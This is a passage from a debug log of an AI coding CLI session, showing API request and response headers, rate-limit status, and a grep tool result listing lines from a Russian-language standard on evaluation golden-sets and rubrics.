128000,\n[2026-09-29T07:46:38.123Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:38.127Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:38.130Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:38.133Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:38.136Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:38.139Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:38.141Z] [STDOUT]     },\n[2026-09-29T07:46:38.144Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:38.148Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:38.150Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:38.152Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:38.155Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:38.159Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:38.162Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:38.165Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:38.171Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:38.178Z] [STDOUT]     },\n[2026-09-29T07:46:38.182Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:38.185Z] [STDOUT]   },\n[2026-09-29T07:46:38.188Z] [STDOUT]   headers: {\n[2026-09-29T07:46:38.195Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:38.199Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:38.202Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:38.206Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:38.212Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:38.219Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:38.222Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:38.228Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:38.232Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:38.235Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1370\",\n[2026-09-29T07:46:38.239Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:38.243Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:38.248Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:38.253Z] [STDOUT]     \"x-client-request-id\": \"dc831722-44c3-443d-aa59-21336343b10a\",\n[2026-09-29T07:46:38.260Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:38.264Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:38.269Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:38.274Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:38.279Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:38.284Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:38.288Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:38.292Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:38.296Z] [STDOUT]   },\n[2026-09-29T07:46:38.300Z] [STDOUT] }\n[2026-09-29T07:46:38.605Z] [STDOUT] [log_2d2a14, request-id: \"req_011CfXMr98qGig1J9YzAzfeo\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 788ms\n[2026-09-29T07:46:38.608Z] [STDOUT] [log_2d2a14] response start {\n[2026-09-29T07:46:38.611Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:38.614Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:38.619Z] [STDOUT]   headers: {\n[2026-09-29T07:46:38.624Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:38.630Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:38.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:38.640Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:38.646Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:38.652Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.660Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:38.666Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:38.688Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:38.714Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:38.750Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:38.767Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:38.773Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:38.777Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.782Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:38.787Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:38.790Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:38.793Z] [STDOUT]     \"cf-ray\": \"a429600a681b01ff-CDG\",\n[2026-09-29T07:46:38.797Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:38.799Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:38.802Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:38.803Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:38.807Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:38.810Z] [STDOUT]     \"request-id\": \"req_011CfXMr98qGig1J9YzAzfeo\",\n[2026-09-29T07:46:38.819Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:38.824Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:38.830Z] [STDOUT]     traceresponse: \"00-9e7f0e7dfaac37f6a5d5984630426622-8f1721e82bb8a77a-01\",\n[2026-09-29T07:46:38.834Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:38.838Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:38.841Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:38.847Z] [STDOUT]   },\n[2026-09-29T07:46:38.852Z] [STDOUT]   durationMs: 788,\n[2026-09-29T07:46:38.858Z] [STDOUT] }\n[2026-09-29T07:46:38.862Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:38.864Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:38.867Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:38.873Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:38.878Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:38.891Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:38.898Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:38.901Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:38.905Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:38.919Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:38.926Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:38.929Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:38.933Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:38.937Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:38.946Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:38.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:38.966Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:38.971Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.980Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:38.989Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:38.994Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:38.999Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.006Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.021Z] [STDOUT]   \"request-id\": \"req_011CfXMr98qGig1J9YzAzfeo\",\n[2026-09-29T07:46:39.027Z] [STDOUT]   \"traceresponse\": \"00-9e7f0e7dfaac37f6a5d5984630426622-8f1721e82bb8a77a-01\",\n[2026-09-29T07:46:39.031Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.037Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.047Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:39.051Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.056Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.061Z] [STDOUT]   \"cf-ray\": \"a429600a681b01ff-CDG\",\n[2026-09-29T07:46:39.066Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:39.072Z] [STDOUT] [log_2d2a14] response parsed {\n[2026-09-29T07:46:39.078Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.084Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.088Z] [STDOUT]   body: X {\n[2026-09-29T07:46:39.093Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:39.099Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:39.106Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:39.111Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:39.125Z] [STDOUT]     },\n[2026-09-29T07:46:39.134Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:39.149Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:39.168Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:39.176Z] [STDOUT]   },\n[2026-09-29T07:46:39.185Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:46:39.260Z] [STDOUT] }\n[2026-09-29T07:46:39.264Z] [STDOUT] [log_cf01f0, request-id: \"req_011CfXMr8UeSjuHZPrMNut12\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1063ms\n[2026-09-29T07:46:39.268Z] [STDOUT] [log_cf01f0] response start {\n[2026-09-29T07:46:39.272Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.276Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.280Z] [STDOUT]   headers: {\n[2026-09-29T07:46:39.283Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.291Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:39.294Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:39.298Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:39.302Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:39.306Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.310Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:39.327Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.330Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:39.337Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:39.343Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:39.352Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:39.357Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:39.369Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.375Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.378Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:39.383Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.386Z] [STDOUT]     \"cf-ray\": \"a429600968a9dbb5-FRA\",\n[2026-09-29T07:46:39.392Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:39.394Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:39.398Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:39.403Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:39.414Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:39.417Z] [STDOUT]     \"request-id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:39.421Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:39.426Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:39.430Z] [STDOUT]     traceresponse: \"00-5a86df10d3bde65adca0feed6bc31970-17ca71181e899840-01\",\n[2026-09-29T07:46:39.434Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:39.436Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:39.438Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.443Z] [STDOUT]   },\n[2026-09-29T07:46:39.446Z] [STDOUT]   durationMs: 1063,\n[2026-09-29T07:46:39.450Z] [STDOUT] }\n[2026-09-29T07:46:39.464Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:39.467Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:39.472Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:39.483Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:39.486Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:39.489Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:39.494Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:39.497Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:39.503Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:39.507Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:39.512Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:39.519Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:39.524Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:39.529Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:39.533Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:39.540Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:39.545Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:39.547Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.552Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:39.555Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:39.558Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:39.562Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.564Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.567Z] [STDOUT]   \"request-id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:39.570Z] [STDOUT]   \"traceresponse\": \"00-5a86df10d3bde65adca0feed6bc31970-17ca71181e899840-01\",\n[2026-09-29T07:46:39.575Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.579Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.586Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:39.591Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.596Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.601Z] [STDOUT]   \"cf-ray\": \"a429600968a9dbb5-FRA\",\n[2026-09-29T07:46:39.604Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:39.608Z] [STDOUT] [log_cf01f0] response parsed {\n[2026-09-29T07:46:39.612Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.615Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.620Z] [STDOUT]   body: X {\n[2026-09-29T07:46:39.631Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:39.648Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:39.654Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:39.659Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:39.663Z] [STDOUT]     },\n[2026-09-29T07:46:39.667Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:39.669Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:39.671Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:39.673Z] [STDOUT]   },\n[2026-09-29T07:46:39.678Z] [STDOUT]   durationMs: 1064,\n[2026-09-29T07:46:39.686Z] [STDOUT] }\n[2026-09-29T07:46:39.692Z] [INFO] {\n[2026-09-29T07:46:39.692Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:39.692Z] [INFO]   \"message\": {\n[2026-09-29T07:46:39.692Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:39.692Z] [INFO]     \"content\": [\n[2026-09-29T07:46:39.692Z] [INFO]       {\n[2026-09-29T07:46:39.692Z] [INFO]         \"tool_use_id\": \"toolu_01DkFf1YgA5N2BAmpatMEr2j\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:39.692Z] [INFO]         \"content\": \"./standards/evals-contract-standard.md:36:\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `evals`: \u0438\u0437 \u0447\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u0438\u0442 golden-set, \u043a\u0430\u043a\\n./standards/evals-contract-standard.md:47:> \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043d \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 (golden-set, \u0440\u0443\u0431\u0440\u0438\u043a\u0430, \u043e\u0442\u0447\u0451\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430),\\n./standards/evals-contract-standard.md:63:1. **Golden-set \u043f\u0435\u0440\u0432\u0438\u0447\u0435\u043d.** \u041c\u0435\u0440\u044f\u0442\u044c\u0441\u044f \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n./standards/evals-contract-standard.md:72:**\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a** \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c evals \u043b\u044e\u0431\u043e\u0433\u043e \u0441\u043f\u043e\u043a\u0430 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b: golden-set, \u0440\u0443\u0431\u0440\u0438\u043a\u0430\\n./standards/evals-contract-standard.md:100:| Golden-set | `golden-set-.md` (\u0438\u043b\u0438 `.yaml`) | \u041a\u043e\u0440\u0435\u043d\u044c \u043d\u0430\u0438\u043c\u0435\u043d\u044c\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (ADR-001) |\\n./standards/evals-contract-standard.md:101:| \u0420\u0443\u0431\u0440\u0438\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 | `rubric-.md` | \u0420\u044f\u0434\u043e\u043c \u0441 golden-set \u0442\u043e\u0433\u043e \u0436\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n./standards/evals-contract-standard.md:102:| \u041e\u0442\u0447\u0451\u0442 \u043e\u0444\u043b\u0430\u0439\u043d-\u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 `runs/` \u0441\u043f\u043e\u043a\u0430 | `runs/`, \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 golden-set |\\n./standards/evals-contract-standard.md:107:  [file-naming.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/3bfa4103c9efbbd59bc951814884920e406982e2/standards/file-naming.md); golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 **\u043d\u0435** \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n./standards/evals-contract-standard.md:110:- Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 **\u0414\u041e\u041b\u0416\u041d\u042b** \u043b\u0435\u0436\u0430\u0442\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435:\\n./standards/evals-contract-standard.md:111:  \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u0431\u0435\u0437 \u0441\u0432\u043e\u0435\u0433\u043e golden-set \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u043c\u0430.\\n./standards/evals-contract-standard.md:112:- \u042d\u0442\u0430\u043b\u043e\u043d \u0438 \u0444\u0430\u043a\u0442 **\u0417\u0410\u041f\u0420\u0415\u0429\u0415\u041d\u041e** \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c: golden-set \u2014 \u044d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c\\n./standards/evals-contract-standard.md:119:`standards/`). Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u2014 IL-1 (\u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442) \u0432\\n./standards/evals-contract-standard.md:124:Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 \u2014 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0441 frontmatter, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u044f\\n./standards/evals-contract-standard.md:137:| `rubric` | \u0414\u041e\u041b\u0416\u041d\u041e \u0434\u043b\u044f golden-set | \u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0440\u0443\u0431\u0440\u0438\u043a\u0443, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043e\u0440 |\\n./standards/evals-contract-standard.md:147:### Golden-set\\n./standards/evals-contract-standard.md:206:\u041e\u0442\u0447\u0451\u0442 **\u0414\u041e\u041b\u0416\u0415\u041d** \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u043d\u043e\u0432\u043e: \u0432\u0435\u0440\u0441\u0438\u044f golden-set, \u0432\u0435\u0440\u0441\u0438\u044f\\n./standards/evals-contract-standard.md:221:| **Offline (\u0434\u0430\u0442\u0430\u0441\u0435\u0442)** | \u041f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c golden-set \u0434\u043e \u0440\u0435\u043b\u0438\u0437\u0430 | **\u041d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u044d\u0442\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u043c** |\\n./standards/evals-contract-standard.md:244:Golden-set \u0438 \u0440\u0443\u0431\u0440\u0438\u043a\u0430 